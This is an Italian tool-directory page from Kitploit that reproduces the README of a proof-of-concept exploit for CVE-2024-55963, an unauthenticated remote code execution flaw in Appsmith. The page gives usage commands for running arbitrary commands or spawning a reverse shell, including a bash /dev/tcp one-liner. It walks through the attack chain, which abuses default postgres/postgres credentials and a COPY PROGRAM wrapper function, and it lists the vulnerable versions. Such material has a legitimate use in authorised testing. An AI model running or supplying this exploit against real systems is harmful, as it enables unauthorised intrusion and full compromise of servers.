Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-55963 — CVE-2024-55963 consente l'esecuzione remota di codice non autenticata sulla piattaforma Appsmith Enterprise a causa di un database PostgreSQL configurato in modo errato incluso di default. | Kitploit
Strumenti/GitHubGitHub/superswan/cve-2024-55963
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingConfigurazione ErrataRed TeamingSicurezza dei Database
GitHubsuperswan/cve-2024-55963

CVE-2024-55963

CVE-2024-55963 consente l'esecuzione remota di codice non autenticata sulla piattaforma Appsmith Enterprise a causa di un database PostgreSQL configurato in modo errato incluso di default.

241 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
Condividi

CVE‑2024‑55963 Appsmith RCE PoC

Exploit PoC per CVE‑2024‑55963 che esegue comandi arbitrari o avvia una reverse shell su istanze Appsmith vulnerabili.

Gestisce automaticamente sia i server moderni (con la funzionalità environmentId) sia le build “legacy” molto più vecchie che la precedono, quindi puoi usare un unico script per ogni versione da v1.20 fino all'ultima release vulnerabile v1.51.


Avvio rapido

root@kitploit:~
# Run an arbitrary command (default is `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"

# spawn a reverse shell
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>

Nota: Qualsiasi credenziale funziona purché il server consenta la registrazione self‑service. Lo script tenta prima di accedere e, se l'account non esiste, ripiega sulla registrazione.


Come funziona (in sintesi)

  1. Gestione CSRF e sessione – recupera il token da diversi possibili endpoint o dal cookie jar e lo riutilizza nelle richieste successive.
  2. Flusso di login/registrazione – accede o registra un nuovo utente con l'email/password forniti.
  3. Individuazione del workspace – recupera un workspace esistente o attiva il flusso di onboarding per crearne uno automaticamente.
  • Rilevamento dell'ambiente – interroga /api/v1/environments/workspaces/{id}; se manca, passa alla modalità legacy (environmentId vuoto).
  • Configurazione di applicazione e pagina – invia una richiesta POST a /api/v1/applications ed estrae pageId.
  • Creazione del datasource – crea un datasource PostgreSQL locale che punta a localhost:5432 con credenziali postgres/postgres (consentite dal pg_hba.conf predefinito vulnerabile).
  • Oggetti SQL – carica una funzione PL/pgSQL di supporto exec_cmd() e una tabella temporanea cmd_output che raccoglie STDOUT.
  • Esecuzione del comando – esegue SELECT * FROM exec_cmd('<your cmd>') tramite l'endpoint /api/v1/actions/execute
  • Reverse shell (opzionale) – esegue bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

  • Requisiti

    • Python ≥ 3.8
    • requests

    Versioni testate

    Versione AppsmithRisultato
    1.51✅ RCE
    1.45✅ RCE
    1.30✅ RCE, percorso legacy
    1.52+❌ Corretta – la creazione della funzione fallisce

    Differenze rispetto al PoC di Rhino Security Labs

    Questo PoC è un piccolo miglioramento rispetto all'exploit di Rhino Security Labs (non avevo realizzato che avessero già un PoC pubblico quando stavo revisionando la ricerca).

    Il PoC di Rhino utilizza header, cookie e credenziali statici. Durante il test di quell'exploit ho incontrato problemi quando l'account esisteva già su versioni specifiche. Questo script consente all'utente di inserire qualsiasi combinazione email/password scelta da riga di comando. Come già detto, il token CSRF viene estratto invece di fare affidamento su valori hardcoded.

    • Questa versione funziona su server più vecchi che non dispongono dell'endpoint Environments API.
    • Il percorso di esecuzione è diverso. Questo sfrutta COPY PROGRAM all'interno del wrapper PL/pgSQL exec_cmd() e usa l'API /actions/execute, ma è probabilmente più rumoroso. Rhino si affida all'endpoint integrato di anteprima dello schema per emettere un'istruzione COPY (SELECT …) ad hoc. Quell'endpoint tronca la lunghezza dell'output e aggiunge regole di quoting extra, quindi comandi lunghi o payload concatenati sono più difficili da passare.
    • Un unico flag per la reverse shell (:
    • Randomizza i nomi di app/datasource/funzione
    • Nessuna dipendenza da pyfiglet
    • Supporto per server più vecchi rilevando automaticamente l'header environmentId. L'exploit di Rhino presuppone che sia sempre presente.

    Insieme, queste scelte progettuali rendono l'exploit più corto, più affidabile e più adatto all'uso red‑team, dimostrando comunque la stessa vulnerabilità sottostante.

    Riferimenti

    rhinosecuritylabs.com


    Avviso legale

    Questo codice è fornito solo per scopi educativi e test autorizzati. Eseguirlo contro sistemi che non possiedi o per cui non hai esplicito permesso di test è probabilmente illegale. Gli autori declinano ogni responsabilità per un uso improprio.

    Scarica lo strumento